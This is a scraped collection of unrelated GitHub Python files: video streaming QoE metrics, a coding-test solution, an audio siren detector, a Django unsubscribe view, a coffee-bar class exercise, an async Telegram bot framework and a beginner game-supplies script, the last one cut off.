scores_tmp['abr Rule'] = [ abrRule for i in listQoE]\n scores = scores.append(scores_tmp)\n scores_tmp['Average value'] = np.asarray([i[2] for i in listQoE])\n scores_tmp['Metrics'] = [ prefix+'_'+'Smoothness Penalty' for i in listQoE]\n scores_tmp['abr Rule'] = [ abrRule for i in listQoE]\n scores = scores.append(scores_tmp)\n scores_tmp = pd.DataFrame()\n scores_tmp['Average value'] = np.asarray([i[3] for i in listQoE])\n scores_tmp['Metrics'] = [ prefix+'_'+'Rebuffering Penalty' for i in listQoE]\n scores_tmp['abr Rule'] = [ abrRule for i in listQoE]\n scores = scores.append(scores_tmp)\n scores_tmp = pd.DataFrame()\n scores_tmp['Average value'] = np.asarray([i[4] for i in listQoE])\n scores_tmp['Metrics'] = [ prefix+'_'+'Startup Delay' for i in listQoE]\n scores_tmp['abr Rule'] = [ abrRule for i in listQoE]\n scores = scores.append(scores_tmp)\n return scores \n\nclass MetricQoElin(Metric):\n def __init__(self,name='',mi=1., lbd=1., mi_s=1.,log_level='debug'):\n super().__init__(name,mi, lbd, mi_s,log_level)\n \n def calc(self,listRate,listRebuffer):\n bitrateUtility = np.asarray(listRate).sum()\n startupDelay = self.mi_s*np.asarray(listRebuffer[0])\n rebufferingPenalty = self.mi*np.asarray(listRebuffer[1:]).sum()\n smoothnessPenalty = self.lbd*np.abs(np.asarray(listRate[1:])-np.asarray(listRate[:-1])).sum()\n qoe = bitrateUtility - (smoothnessPenalty + rebufferingPenalty + startupDelay)\n # print(qoe)\n return qoe,bitrateUtility,smoothnessPenalty,rebufferingPenalty,startupDelay\n\nclass MetricQoEMean(Metric):\n def __init__(self,name='',mi=1., lbd=1., mi_s=1.,log_level='debug'):\n super().__init__(name,mi, lbd, mi_s,log_level)\n \n def calc(self,listRate,listRebuffer):\n bitrateUtility = np.asarray(listRate[1:])\n startupDelay = self.mi_s*np.asarray(listRebuffer[0])\n rebufferingPenalty = self.mi*np.asarray(listRebuffer[1:])\n smoothnessPenalty = self.lbd*np.abs(np.asarray(listRate[1:])-np.asarray(listRate[:-1]))\n qoe = bitrateUtility - (smoothnessPenalty + rebufferingPenalty + startupDelay)\n # print(qoe.sum())\n return qoe.sum(),bitrateUtility.sum(),smoothnessPenalty.sum(),rebufferingPenalty.sum(),startupDelay.sum()\n\nclass MetricQoElog(Metric):\n def __init__(self,name='',mi=1., lbd=1., mi_s=1.,log_level='debug'):\n super().__init__(name+'_'+'QoE_log',mi, lbd, mi_s,log_level)\n\n def calc(self,listRate,listRebuffer):\n bitrateUtility = np.log(np.asarray(listRate)/np.asarray(listRate).min()).sum()\n startupDelay = self.mi_s*np.asarray(listRebuffer[0])\n rebufferingPenalty = self.mi*np.asarray(listRebuffer[1:]).sum()\n smoothnessPenalty = self.lbd*np.abs(np.log(np.asarray(listRate[1:])/np.asarray(listRate[1:]).min()) \\\n - np.log(np.asarray(listRate[:-1])/np.asarray(listRate[1:]).min())).sum()\n qoe=bitrateUtility - (smoothnessPenalty + rebufferingPenalty + startupDelay)\n return qoe,bitrateUtility,smoothnessPenalty,rebufferingPenalty,startupDelay\n\n\nclass MetricQoEhd(Metric):\n def __init__(self,name='',mi=1., lbd=1., mi_s=1.,log_level='debug'):\n super().__init__(name+'_'+'QoE_hd',mi, lbd, mi_s,log_level)\n\n def calc(self,listRate,listRebuffer):\n bitrateUtility = (np.asarray(listRate)*100).mean()\n rebufferingPenalty = self.rebufferPenalty*(np.asarray(listRebuffer)).mean()\n smoothnessPenalty = np.abs((np.asarray(listRate[1:])*100)-(np.asarray(listRate[:-1])*100)).mean()\n qoe=(np.asarray(listRate)*100).sum()-self.rebufferPenalty*(np.asarray(listRebuffer)).sum()-np.abs((np.asarray(listRate[1:])*100)-(np.asarray(listRate[:-1])*100)).sum()\n return qoe,bitrateUtility,rebufferingPenalty,smoothnessPenalty\n\n\ndef parseLogs(metricQoE,path = '../results-collector/abrBola/',log_level='info',div_by=1e3):\n log_level = level_config[log_level.lower()]\n logging.basicConfig(level=log_level)\n logger = logging.getLogger(__name__)\n\n files = os.listdir(path)\n listQoE = []\n for file in files:\n # print(path+file)\n f = open(path+file, 'r')\n lines = f.readlines()\n logs = []\n i=0\n for line in lines:\n logs.append(ast.literal_eval(line.strip()))\n #print(\"bitrate: {} rebufferTime: {}\".format(logs[i]['bitrate'],logs[i]['rebufferTime']))\n i+=1\n # print(\"Count segments: {}\".format(i))\n df = pd.DataFrame(logs)\n #print(df['bitrate']/1e6,df['rebufferTime'])\n mt = metricQoE.calc(df['bitrate']/div_by,df['rebufferTime'])\n logger.debug(mt)\n listQoE.append(mt)\n return listQoE\n\ndef parseLogsBy(path = '../results-collector/abrBola',file_type='json',log_level='debug'):\n log_level = level_config[log_level.lower()]\n logging.basicConfig(level=log_level)\n logger = logging.getLogger(__name__)\n frames = []\n for dirpath, subdirpath, filenames in os.walk(path):\n client = 0\n for filename in [f for f in filenames if any(filetype in f.lower() for filetype in [file_type])]:\n current_file = os.path.join(dirpath, filename)\n logger.debug(current_file)\n f = open(current_file, 'r')\n lines = f.readlines()\n logs = []\n for line in lines:\n logs.append(ast.literal_eval(line.strip()))\n df = pd.DataFrame(logs)\n df['scenario'] = dirpath.split('/')[-2]\n df['abr Rule'] = filename.split('_')[1]\n df['client'] = client\n df['calc_bitrate'] = (((df['totalBytesLength']*8)/1000)/df['mediaduration'])\n frames.append(df)\n client +=1\n result = pd.concat(frames)\n return result\n\n\ndef writeTrace(output=None,df=None):\n t = df.Timestamp.apply(lambda x: time.mktime(datetime.strptime(x, \"%Y.%m.%d_%H.%M.%S\").timetuple()))\n bw = df['DL_bitrate']\n dfbw = pd.DataFrame()\n dfbw['time']=range(0,len(t))\n dfbw['DL_bitrate']=bw.reset_index(drop=True)\n dfbw.to_csv(output,index=False)\n\ndef parseTraces(input_path = '../../traces/5G-production-dataset/5G-production-dataset/Amazon_Prime/Driving/',\n output_path=None,minimum=0,maximum=1e15,file_type='csv',parameter='DL_bitrate',log_level='info'):\n log_level = level_config[log_level.lower()]\n logging.basicConfig(level=log_level)\n logger = logging.getLogger(__name__)\n frames = []\n for dirpath, subdirpath, filenames in os.walk(input_path):\n for filename in [f for f in filenames if any(filetype in f.lower() for filetype in [file_type])]:\n current_file = os.path.join(dirpath, filename)\n logger.debug(\"input file: {}\".format(current_file))\n df = pd.read_csv(current_file)\n if output_path is not None:\n df = df[(df[parameter] >= minimum) & (df[parameter] <= maximum) ]\n logger.debug(\"output file: {}\".format(output_path+filename))\n writeTrace(output=output_path+filename,df=df)\n frames.append(df)\n result = pd.concat(frames)\n return result\n\ndef maker_mahimahi_trace(IN_FILE = None,OUT_FILE = None):\n files = os.listdir(IN_FILE)\n for trace_file in files:\n if os.stat(IN_FILE + trace_file).st_size >= FILE_SIZE:\n df = pd.read_csv(IN_FILE + trace_file)\n with open(OUT_FILE + trace_file, 'w') as mf:\n millisec_time = 0\n mf.write(str(millisec_time) + '\\n')\n for i in range(1,len(df.DL_bitrate)):\n throughput = (float(df.DL_bitrate[i])*1000)\n pkt_per_millisec = throughput / BYTES_PER_PKT / MILLISEC_IN_SEC\n #print(\"pkt_per_millisec: {}\".format(pkt_per_millisec))\n millisec_count = 0\n pkt_count = 0\n while True:\n millisec_count += 1\n millisec_time += 1\n to_send = (millisec_count * pkt_per_millisec) - pkt_count\n to_send = np.floor(to_send)\n #print(\"to_send: {}\".format(to_send))\n for i in range(int(to_send)):\n mf.write(str(millisec_time) + '\\n')\n # print(millisec_time)\n pkt_count += to_send\n if millisec_count >= EXP_LEN:\n break","repo_name":"jlfilho/LiveSR","sub_path":"share/tools/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":9771,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"73803684562","text":"from collections import deque\n\ndef solution(n, t, m, timetable):\n answer = 0\n bus = [540 + t * i for i in range(n)]\n timetable = deque(sorted([int(tm[0:2]) * 60 + int(tm[3:5]) for tm in timetable]))\n waiting = deque()\n\n for b in bus:\n while len(waiting) < m:\n if timetable and timetable[0] <= b:\n waiting.append(timetable.popleft())\n else:\n break\n\n answer = waiting[-1] - 1 if len(waiting) == m else b\n\n for i in range(m):\n if waiting:\n waiting.popleft()\n\n return f'{str(answer // 60).zfill(2)}:{str(answer % 60).zfill(2)}'","repo_name":"kimnamjun/CodingTest","sub_path":"프로그래머스/KAKAO BLIND RECRUITMENT/2018/lvl3 [1차] 셔틀버스.py","file_name":"lvl3 [1차] 셔틀버스.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5734362504","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pyaudio as pa\nimport struct\nimport time\nimport json\n\nfrom utils.traffic_light import Traffic\n\n\nCHUNK = 1024*2\nFORMAT = pa.paInt16\nCHANNELS = 1\nRATE = 44100 # in Hz\nT = 1.0 / 44100 # in s\nt = np.linspace(0, CHUNK * T, CHUNK, endpoint=True)\nf_ratio = 1\n\n\nclass Audio:\n dataInt = ()\n \n def __init__(self):\n pass\n\n @classmethod\n def sound_wave(cls):\n p = pa.PyAudio()\n\n stream = p.open(\n format = FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n output=True,\n frames_per_buffer=CHUNK\n )\n\n fig, ax = plt.subplots(1, 2, figsize=(9, 5))\n x = np.arange(0, 2*CHUNK, 2)\n line1, = ax[0].plot(x, np.random.rand(CHUNK), 'r')\n line2, = ax[1].plot(x, np.random.rand(CHUNK), 'b')\n \n fig.show()\n\n while True:\n data = stream.read(CHUNK)\n cls.dataInt = struct.unpack(str(CHUNK) + 'h', data)\n line1.set_ydata(cls.dataInt)\n line1.set_xdata(t)\n ax[0].set_ylim(-60000, 60000)\n ax[0].set_xlim(0, t[-1])\n ax[0].set_xlabel('Time (s)')\n ax[0].set_ylabel('Amplitude')\n\n normalized_data = Audio.normalize(cls.dataInt)\n signal = np.array(normalized_data)\n sig_fft = np.fft.fft(signal)\n sig_fft_mag = np.absolute(sig_fft)\n # f = np.linspace(0, RATE, len(sig_fft_mag))\n # f_bins = int(len(sig_fft_mag)*f_ratio)\n denormalized_data = Audio.denormalize(sig_fft_mag)\n\n line2.set_ydata(denormalized_data)\n line2.set_xdata(np.fft.fftfreq(len(denormalized_data), t[1]-t[0]))\n ax[1].set_ylim(-60000, 60000)\n ax[1].set_xlabel('Frequency (Hz)')\n ax[1].set_ylabel('Content')\n\n fig.canvas.draw()\n fig.canvas.flush_events()\n\n # print(f'x data: {np.fft.fftfreq(len(denormalized_data), t[1]-t[0])}')\n # print(f'denormalize: {denormalized_data}')\n\n Audio.special_vehicle([np.fft.fftfreq(len(denormalized_data), t[1]-t[0]), denormalized_data])\n\n\n @staticmethod\n def normalize(signal):\n mean = np.mean(signal)\n std = np.std(signal)\n return (signal - mean) / std\n\n @staticmethod\n def denormalize(signal):\n mean = np.mean(signal)\n std = np.std(signal)\n return (signal * std) + mean\n\n @staticmethod\n def special_vehicle(data):\n x_val, y_val = data\n\n count = 0\n \n \n greater_than_1400 = x_val > 1400\n lower_than_1600 = x_val < 1600\n frequency = np.where(greater_than_1400&lower_than_1600)\n if y_val[frequency[0][0]] > 4500:\n count += 1\n if count == 1:\n with open('utils/config.json') as f:\n config = json.load(f)\n EMERGENCY = config[\"EMERGENCY\"]\n EMERGENCY = 1\n # print(EMERGENCY)\n\n config[\"EMERGENCY\"] = EMERGENCY\n\n with open('utils/config.json', 'w') as f:\n json.dump(config, f)\n count = 0\n else:\n count = 0\n with open('utils/config.json') as f:\n config = json.load(f)\n EMERGENCY = config[\"EMERGENCY\"]\n EMERGENCY = 0\n # print(EMERGENCY)\n\n config[\"EMERGENCY\"] = EMERGENCY\n\n with open('utils/config.json', 'w') as f:\n json.dump(config, f)","repo_name":"Albertlor/MA2011_Mechatronics_System_Interfacing","sub_path":"utils/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":3574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39750176303","text":"from django.shortcuts import render, get_object_or_404\n\nfrom base.views.errors import exceptions_to_web_response\nfrom sharing.models import Audience\n\n\n@exceptions_to_web_response\ndef unsubscribe(request, email_id):\n email = get_object_or_404(Audience, pk=email_id)\n owner = email.shared_by\n context = {'shared_to': email.email, 'shared_by': owner.name(), 'email_id': email.id}\n\n if request.method == 'POST':\n email.unsubscribed = True\n email.save()\n context['unsubscribed'] = True\n\n return render(request, 'emailer/unsubscribe.html', context)\n","repo_name":"ebridges/elektrum","sub_path":"application/emailer/views/unsubscribe.py","file_name":"unsubscribe.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36510738580","text":"class Person:\n def __init__(self, name, favorite_drink, wallet, tip_amount):\n self.name = name\n self.favorite_drink = favorite_drink\n self.wallet = wallet\n self.tip_amount = tip_amount\n\n def my_order(self):\n return Order(self, self.favorite_drink)\n\n\n\nclass Order:\n def __init__(self, person, type):\n self.person = person\n self.type = type\n\n def to_string(self):\n print(f'{self.person.name} orders: {self.type}')\n\n\n\nclass CoffeeBar:\n def __init__(self, name, barista):\n self.name = name\n self.orders = []\n self.barista = barista\n self.register = 0.00\n self.menu = {\n 'Coffee': '3.99',\n 'Tea': '2.95',\n 'Milk': '1.85',\n 'Cocoa': '3.59',\n }\n self.receipts = []\n self.tip_jar = 0.00\n\n def tip_calculator(self, order):\n price = float(self.menu[order.type])\n tip = price * order.person.tip_amount\n total = price + tip\n return (tip, total)\n\n def place_order(self, order):\n (tip, total) = self.tip_calculator(order)\n if order.person.wallet >= total:\n # Deduct from person's wallet\n order.person.wallet = round(order.person.wallet - total, 2)\n # Add money to register\n self.register = round(self.register + total, 2)\n self.orders.append(order)\n else:\n print(f'{order.person.name} has insufficient funds! Order not placed...')\n\n def process_orders(self):\n print(self.barista.greeting)\n for order in self.orders:\n order.to_string()\n self.receipts.append(order)\n (tip, total) = self.tip_calculator(order)\n self.tip_jar += tip\n # empty the orders list\n self.orders = []\n # The barista takes all the tips, then empty the tip jar\n self.barista.wallet = round(self.barista.wallet + self.tip_jar, 2)\n self.tip_jar = 0\n \n def cash_out(self):\n print(f'Money in register: ${format(self.register, \".2f\")}')\n\n\n\nclass Barista(Person):\n def __init__(self, name, favorite_drink, wallet, tip_amount, greeting):\n super().__init__(name, favorite_drink, wallet, tip_amount)\n self.greeting = greeting\n\n\n\n\n# 3 customers\namy = Person('Amy', 'Coffee', 5.47, 0.20)\nbob = Person('Bob', 'Tea', 10.00, 0.18)\ncat = Person('Cat', 'Milk', 7.89, 0.15)\n\n# Barista\nkevin = Barista('Kevin', 'green tea', 0.00, 0.15, 'Hey dude!')\n\n# CoffeeBar\nblue_ocean_coffee = CoffeeBar('Blue Ocean Coffee', kevin)\n\n# Place 3 orders\nblue_ocean_coffee.place_order(amy.my_order())\nblue_ocean_coffee.place_order(bob.my_order())\nblue_ocean_coffee.place_order(cat.my_order())\n# Process all orders\nblue_ocean_coffee.process_orders()\n\nprint(amy.wallet)\nprint(bob.wallet)\nprint(cat.wallet)\n\n# Total revenue\nblue_ocean_coffee.cash_out()\n\n# Kevin made this much in tips:\nprint(blue_ocean_coffee.barista.wallet)\n\n","repo_name":"stanjdev/1111-OOP-final-coffee-orders","sub_path":"coffee_orders.py","file_name":"coffee_orders.py","file_ext":"py","file_size_in_byte":2725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19226208056","text":"from __future__ import annotations\n\nimport asyncio\nimport logging\nfrom functools import (\n partial,\n update_wrapper,\n)\nfrom typing import (\n Any,\n Callable,\n Coroutine,\n Optional,\n)\n\nimport pydantic\nimport uvicorn\nfrom fastapi import FastAPI\n\nfrom .bot_api_client import BotAPIClient\nfrom .filters import (\n AnyFilterCallable,\n BaseFilter,\n CallbackQueryFilterCallable,\n ChannelPostFilterCallable,\n ChatMemberFilterCallable,\n ChosenInlineResultFilterCallable,\n EditedChannelPostFilterCallable,\n EditedMessageFilterCallable,\n InlineQueryFilterCallable,\n MessageFilterCallable,\n MyChatMemberFilterCallable,\n PollAnswerFilterCallable,\n PollFilterCallable,\n PreCheckoutQueryFilterCallable,\n ShippingQueryFilterCallable,\n)\nfrom .types import (\n CallbackQuery,\n ChatMemberUpdated,\n ChosenInlineResult,\n InlineQuery,\n InputFile,\n Message,\n Poll,\n PollAnswer,\n PreCheckoutQuery,\n ShippingQuery,\n SomeUpdate,\n Update,\n)\n\n\nclass WebHookSettings(pydantic.BaseModel):\n # Web server settings\n server_host: str = \"0.0.0.0\"\n server_port: int = 8055\n # Telegram hook settings\n url: str\n certificate: InputFile = None\n ip_address: str = None\n max_connections: int = 40\n allowed_updates: list[str] = None\n drop_pending_updates: bool = None\n\n\nclass Bot(BotAPIClient):\n __running = False\n __updates_handlers: dict[str, set[Handler]] = {\n \"message\": set(),\n \"edited_message\": set(),\n \"channel_post\": set(),\n \"edited_channel_post\": set(),\n \"inline_query\": set(),\n \"chosen_inline_result\": set(),\n \"callback_query\": set(),\n \"shipping_query\": set(),\n \"pre_checkout_query\": set(),\n \"poll\": set(),\n \"poll_answer\": set(),\n \"my_chat_member\": set(),\n \"chat_member\": set(),\n }\n __middlewares: list[MiddlewareCallable] = []\n __prepared_middlewares: list[MiddlewareCallable] = []\n __webhook_app: FastAPI\n\n def __init__(\n self,\n bot_token: str,\n *,\n polling_timeout: int = 0,\n polling_allowed_updates: list[str] = None,\n webhook_settings: WebHookSettings = None\n ):\n super(Bot, self).__init__(bot_token)\n self.logger = logging.getLogger(self.__class__.__qualname__)\n self.bot_token = bot_token\n self.polling_timeout = polling_timeout\n self.polling_allowed_updates = polling_allowed_updates\n self.webhook_settings = webhook_settings\n\n def __prepare_middlewares_handlers(self):\n self.__prepared_middlewares = list(reversed(self.__middlewares))\n\n async def __prepare_webhook(self):\n if bool(self.webhook_settings):\n await self.set_webhook(\n url=f\"{self.webhook_settings.url}/{self.bot_token.split(':')[1]}\",\n certificate=self.webhook_settings.certificate,\n ip_address=self.webhook_settings.ip_address,\n max_connections=self.webhook_settings.max_connections,\n allowed_updates=self.webhook_settings.allowed_updates,\n drop_pending_updates=self.webhook_settings.drop_pending_updates,\n )\n self.__webhook_app = FastAPI(\n redoc_url=None,\n docs_url=None\n )\n self.__webhook_app.add_api_route(\n f\"/{self.bot_token.split(':')[1]}\",\n endpoint=self.__on_webhook_received,\n methods=[\"POST\"]\n )\n else:\n await self.delete_webhook()\n\n async def __on_webhook_received(self, updates: list[Update]) -> Any:\n await self.__handle_updates(updates)\n\n async def __call_handler(self, handler: Handler, update: SomeUpdate):\n try:\n await handler(self, update)\n except Exception as e:\n self.logger.error(f\"Unable to call handler {handler} for update: {update.json()}. {e}\", exc_info=True)\n\n async def __call_handlers(self, update: Update):\n tasks = []\n\n for update_type in self.__updates_handlers.keys():\n update_field: SomeUpdate = getattr(update, update_type, None)\n\n if bool(update_field):\n update_field.EXTRA[\"bot\"] = self\n tasks.extend(\n self.__call_handler(h, update_field)\n for h in self.__updates_handlers[update_type]\n )\n\n # Running all handlers concurrently and independently\n await asyncio.gather(*tasks, return_exceptions=True)\n\n async def __handle_update(self, update: Update):\n if len(self.__prepared_middlewares) == 0:\n return await self.__call_handlers(update)\n\n async def __fn(*_, **__):\n return await self.__call_handlers(update)\n\n call_next = __fn\n\n for m in self.__prepared_middlewares:\n call_next = update_wrapper(partial(m, call_next=call_next), call_next)\n\n return await call_next(self, update)\n\n async def __handle_updates(self, updates: list[Update]):\n for update in updates:\n asyncio.create_task(self.__handle_update(update))\n\n async def run_webhook_server(self):\n self.logger.info('Start webhook server')\n\n uvicorn.run(\n self.__webhook_app,\n host=self.webhook_settings.server_host,\n port=self.webhook_settings.server_port\n )\n\n async def run_long_polling(self):\n self.logger.info('Start polling updates')\n\n last_received_update_id = -1\n try:\n while self.__running:\n updates = await self.get_updates(\n offset=last_received_update_id + 1,\n timeout=self.polling_timeout,\n allowed_updates=self.polling_allowed_updates\n )\n\n last_received_update_id = updates[-1].update_id if len(updates) > 0 else last_received_update_id\n await asyncio.sleep(0.01)\n finally:\n self.logger.info('Stop polling')\n await self.stop()\n\n async def start(self):\n self.logger.info('Starting bot')\n self.__prepare_middlewares_handlers()\n await self.__prepare_webhook()\n self.__running = True\n\n async def stop(self):\n self.logger.info('Stopping Bot...')\n self.__running = False\n\n async def run(self):\n async with self:\n if bool(self.webhook_settings):\n await self.run_webhook_server()\n else:\n await self.run_long_polling()\n\n def add_middleware(self, middleware: MiddlewareCallable):\n if self.__running:\n raise RuntimeError(\"Unable to add middleware in already running bot instance!\")\n\n self.__middlewares.append(middleware)\n return middleware\n\n def add_update_handler(\n self,\n function: HandlerCallable,\n update_type: str,\n *,\n filters: AnyFilterCallable = None\n ) -> Handler:\n if self.__running:\n raise RuntimeError(\"Unable to add middleware in already running bot instance!\")\n\n if self.__updates_handlers.get(update_type) is None:\n raise ValueError(f'Unsupported update type: {update_type}!')\n\n handler = Handler(function, update_type, filters=filters)\n self.__updates_handlers[update_type].add(handler)\n return handler\n\n def remove_update_handler(self, handler: Handler):\n try:\n self.__updates_handlers[handler.update_type].remove(handler)\n except KeyError:\n raise ValueError(f'{handler} is not registered as handler')\n\n def on_update(self, update_type: str, *, filters: AnyFilterCallable = None):\n def decorator(function: HandlerCallable) -> HandlerCallable:\n self.add_update_handler(function, update_type, filters=filters)\n return function\n\n return decorator\n\n def add_message_handler(self, function: MessageHandler, *, filters: MessageFilterCallable) -> Handler:\n return self.add_update_handler(function, \"message\", filters=filters)\n\n def on_message(self, *, filters: MessageFilterCallable):\n return self.on_update('message', filters=filters)\n\n def add_edited_message_handler(\n self,\n function: EditedMessageHandler,\n *,\n filters: EditedMessageFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"edited_message\", filters=filters)\n\n def on_edited_message(self, *, filters: EditedMessageFilterCallable):\n return self.on_update('edited_message', filters=filters)\n\n def add_channel_post_handler(self, function: ChannelPostHandler, *, filters: ChannelPostFilterCallable) -> Handler:\n return self.add_update_handler(function, \"channel_post\", filters=filters)\n\n def on_channel_post(self, *, filters: ChannelPostFilterCallable):\n return self.on_update('channel_post', filters=filters)\n\n def add_edited_channel_post_handler(\n self,\n function: EditedChannelPostHandler,\n *,\n filters: EditedChannelPostFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"edited_channel_post\", filters=filters)\n\n def on_edited_channel_post(self, *, filters: EditedChannelPostFilterCallable):\n return self.on_update('edited_channel_post', filters=filters)\n\n def add_inline_query_handler(self, function: InlineQueryHandler, *, filters: InlineQueryFilterCallable) -> Handler:\n return self.add_update_handler(function, \"inline_query\", filters=filters)\n\n def on_inline_query(self, *, filters: InlineQueryFilterCallable):\n return self.on_update('inline_query', filters=filters)\n\n def add_chosen_inline_result_handler(\n self,\n function: ChosenInlineResultHandler,\n *,\n filters: ChosenInlineResultFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"chosen_inline_result\", filters=filters)\n\n def on_chosen_inline_result(self, *, filters: ChosenInlineResultFilterCallable):\n return self.on_update('chosen_inline_result', filters=filters)\n\n def add_callback_query_handler(\n self,\n function: CallbackQueryHandler,\n *,\n filters: CallbackQueryFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"callback_query\", filters=filters)\n\n def on_callback_query(self, *, filters: CallbackQueryFilterCallable):\n return self.on_update('callback_query', filters=filters)\n\n def add_shipping_query_handler(\n self,\n function: ShippingQueryHandler,\n *,\n filters: ShippingQueryFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"shipping_query\", filters=filters)\n\n def on_shipping_query(self, *, filters: ShippingQueryFilterCallable):\n return self.on_update('shipping_query', filters=filters)\n\n def add_pre_checkout_query_handler(\n self,\n function: PreCheckoutQueryHandler,\n *,\n filters: PreCheckoutQueryFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"pre_checkout_query\", filters=filters)\n\n def on_pre_checkout_query(self, *, filters: PreCheckoutQueryFilterCallable):\n return self.on_update('pre_checkout_query', filters=filters)\n\n def add_poll_handler(self, function: PollHandler, *, filters: PollFilterCallable) -> Handler:\n return self.add_update_handler(function, \"poll\", filters=filters)\n\n def on_poll(self, *, filters: PollFilterCallable):\n return self.on_update('poll', filters=filters)\n\n def add_poll_answer_handler(self, function: PollAnswerHandler, *, filters: PollAnswerFilterCallable) -> Handler:\n return self.add_update_handler(function, \"poll_answer\", filters=filters)\n\n def on_poll_answer(self, *, filters: PollAnswerFilterCallable):\n return self.on_update('poll_answer', filters=filters)\n\n def add_my_chat_member_handler(\n self,\n function: MyChatMemberHandler,\n *,\n filters: MyChatMemberFilterCallable\n ) -> Handler:\n return self.add_update_handler(function, \"my_chat_member\", filters=filters)\n\n def on_my_chat_member(self, *, filters: MyChatMemberFilterCallable):\n return self.on_update('my_chat_member', filters=filters)\n\n def add_chat_member_handler(self, function: ChatMemberHandler, *, filters: ChatMemberFilterCallable) -> Handler:\n return self.add_update_handler(function, \"chat_member\", filters=filters)\n\n def on_chat_member(self, *, filters: ChatMemberFilterCallable):\n return self.on_update('chat_member', filters=filters)\n\n # Magic methods\n async def __aenter__(self):\n await self.start()\n return self\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n await self.stop()\n\n\nHandlerCallable = Callable[[Bot, SomeUpdate], Coroutine[Any, Any, None]]\nMessageHandler = Callable[[Bot, Message], Coroutine[Any, Any, None]]\nEditedMessageHandler = Callable[[Bot, Message], Coroutine[Any, Any, None]]\nChannelPostHandler = Callable[[Bot, Message], Coroutine[Any, Any, None]]\nEditedChannelPostHandler = Callable[[Bot, Message], Coroutine[Any, Any, None]]\nInlineQueryHandler = Callable[[Bot, InlineQuery], Coroutine[Any, Any, None]]\nChosenInlineResultHandler = Callable[[Bot, ChosenInlineResult], Coroutine[Any, Any, None]]\nCallbackQueryHandler = Callable[[Bot, CallbackQuery], Coroutine[Any, Any, None]]\nShippingQueryHandler = Callable[[Bot, ShippingQuery], Coroutine[Any, Any, None]]\nPreCheckoutQueryHandler = Callable[[Bot, PreCheckoutQuery], Coroutine[Any, Any, None]]\nPollHandler = Callable[[Bot, Poll], Coroutine[Any, Any, None]]\nPollAnswerHandler = Callable[[Bot, PollAnswer], Coroutine[Any, Any, None]]\nMyChatMemberHandler = Callable[[Bot, ChatMemberUpdated], Coroutine[Any, Any, None]]\nChatMemberHandler = Callable[[Bot, ChatMemberUpdated], Coroutine[Any, Any, None]]\n\nMiddlewareCallable = Callable[[Bot, SomeUpdate, HandlerCallable], Coroutine[Any, Any, None]]\n\n\nclass Handler(object):\n def __init__(\n self,\n function: HandlerCallable,\n update_type: str,\n *,\n filters: Optional[AnyFilterCallable] = None\n ):\n if filters is not None and not isinstance(filters, BaseFilter):\n raise ValueError('filters should be an instance of BaseFilter!')\n\n self.function = function\n self.update_type = update_type\n self.filters = filters\n\n async def __call__(self, client: Bot, update: SomeUpdate):\n if callable(self.filters):\n filter_result = await self.filters(update)\n\n if not bool(filter_result):\n return\n\n if isinstance(filter_result, dict):\n update.EXTRA |= filter_result\n\n return await self.function(client, update)\n\n def __hash__(self):\n return self.function.__hash__()\n","repo_name":"pylakey/aiotgbotapi","sub_path":"aiotgbotapi/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":15080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22110603517","text":"\"\"\"The paper aliasing command.\"\"\"\n\n\nfrom .base import BaseCommand\nfrom ..database import PaperDatabase\nfrom ..utils import process_and_validate_ref\n\n\nclass Alias(BaseCommand):\n \"\"\" Edit the alias information in the database for a paper. \"\"\"\n\n def run(self):\n options = self.options\n ref = options[\"\"]\n alias = options[\"\"]\n alias = alias or \"\"\n\n with PaperDatabase(self.database_path) as paper_database:\n processed_ref = process_and_validate_ref(ref, paper_database)\n paper_database.assert_contains(processed_ref)\n paper_database.set_paper_alias(paper_id=processed_ref, alias=alias)\n","repo_name":"johngarg/Xarta","sub_path":"xarta/commands/alias.py","file_name":"alias.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"20384497841","text":"#Rosemary Davy\n#March 4, 2021\n#This function checks whether a game character has\n#picked up all the items needed to perform certain tasks and\n#checks against any status debuffs\n\nimport random\n\nitems = [\"pen\", \"paper\", \"idea\", \"rope\", \"groceries\", \"coat\", \"pan\", \"first aid kit\"]\ndebuffs = [\"slow\", \"small\", \"confusion\"]\n\n\ndef mountain():\n print(\"MOUNTAIN:\")\n y = random.sample(items, 3)\n x = random.choice(debuffs)\n print(\"Your supplies are:\", y)\n print(\"Your debuff is:\", x)\n mountainNeeds = [\"rope\", \"coat\", \"first aid kit\"]\n if mountainNeeds == y and x != \"slow\":\n print(\"You can climb the mountain.\")\n elif mountainNeeds == y and x == \"slow\":\n print(\"You are too slow to climb the mountain.\")\n else:\n print(\"You cannot climb the mountain.\")\n \ndef meal():\n print(\"MEAL:\")\n y = random.sample(items, 2)\n x = random.choice(debuffs)\n print(\"Your supplies are:\", y)\n print(\"Your debuff is:\", x)\n mealNeeds = [\"pan\", \"groceries\"]\n if mealNeeds == y and x != \"small\":\n print(\"You can cook a meal.\")\n elif mealNeeds == y and x == \"small\":\n print(\"You cannot cook a meal.\")\n else:\n print(\"You cannot cook a meal.\")\n \n\ndef book():\n print(\"BOOK:\")\n y = random.sample(items, 3)\n x = random.choice(debuffs)\n print(\"Your supplies are:\", y)\n print(\"Your debuff 